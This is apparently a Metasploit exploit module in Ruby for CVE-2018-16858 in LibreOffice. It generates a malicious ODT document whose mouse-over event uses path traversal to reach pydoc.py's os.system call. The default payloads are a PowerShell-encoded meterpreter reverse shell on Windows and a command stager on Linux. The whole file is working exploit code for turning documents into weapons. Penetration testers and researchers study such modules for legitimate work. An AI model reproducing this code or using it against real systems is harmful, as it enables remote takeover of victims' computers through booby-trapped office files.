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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::FILEFORMAT
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  include Msf::Exploit::Powershell
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'LibreOffice Macro Code Execution',
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      'Description'    => %q{
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        LibreOffice comes bundled with sample macros written in Python and
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        allows the ability to bind program events to them. A macro can be tied
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        to a program event by including the script that contains the macro and
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        the function name to be executed. Additionally, a directory traversal
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        vulnerability exists in the component that references the Python script
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        to be executed. This allows a program event to execute functions from Python
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        scripts relative to the path of the samples macros folder. The pydoc.py script
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        included with LibreOffice contains the tempfilepager function that passes
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        arguments to os.system, allowing RCE.
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        This module generates an ODT file with a mouse over event that
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        when triggered, will execute arbitrary code.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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      [
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        'Alex Inführ', # Vulnerability discovery and PoC
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        'Shelby Pace'  # Metasploit Module
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      ],
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      'References'     =>
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        [
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          [ 'CVE', '2018-16858' ],
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          [ 'URL', 'https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html' ]
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        ],
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      'Platform'       => [ 'win', 'linux' ],
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      'Arch'           => [ ARCH_X86, ARCH_X64 ],
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      'Targets'        =>
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        [
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          [
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            'Windows',
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            {
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              'Platform'        =>  'win',
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              'Arch'            =>  [ ARCH_X86, ARCH_X64 ],
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              'Payload'         =>  'windows/meterpreter/reverse_tcp',
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              'DefaultOptions'  =>  { 'PrependMigrate'  =>  true }
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            }
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          ],
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          [
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            'Linux',
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            {
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              'Platform'        =>  'linux',
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              'Arch'            =>  [ ARCH_X86, ARCH_X64 ],
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              'Payload'         =>  'linux/x86/meterpreter/reverse_tcp',
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              'DefaultOptions'  =>  { 'PrependFork' =>  true },
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              'CmdStagerFlavor' =>  'printf',
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            }
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          ]
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        ],
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      'DisclosureDate'  =>  "2018-10-18",
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      'DefaultTarget'   =>  0
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    ))
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    register_options(
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    [
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      OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt'])
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    ])
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  end
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  def gen_windows_cmd
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    opts =
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    {
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      :remove_comspec       =>  true,
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      :method               =>  'reflection',
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      :encode_final_payload =>  true
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    }
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    @cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)
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    @cmd << ' &amp;&amp; echo'
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  end
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  def gen_linux_cmd
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    @cmd = generate_cmdstager.first
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    @cmd << ' &amp;&amp; echo'
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  end
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  def gen_file(path)
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    text_content = Rex::Text.rand_text_alpha(10..15)
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    # file from Alex Inführ's PoC post referenced above
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    fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-16858', 'librefile.erb'))
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    libre_file = ERB.new(fodt_file).result(binding())
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    libre_file
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  rescue Errno::ENOENT
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    fail_with(Failure::NotFound, 'Cannot find template file')
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  end
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  def exploit
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    path = '../../../program/python-core-3.5.5/lib/pydoc.py'
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    if datastore['TARGET'] == 0
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      gen_windows_cmd
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    elsif datastore['TARGET'] == 1
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      gen_linux_cmd
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    else
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      fail_with(Failure::BadConfig, 'A formal target was not chosen.')
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    end
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    fodt_file = gen_file(path)
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    file_create(fodt_file)
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  end
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end
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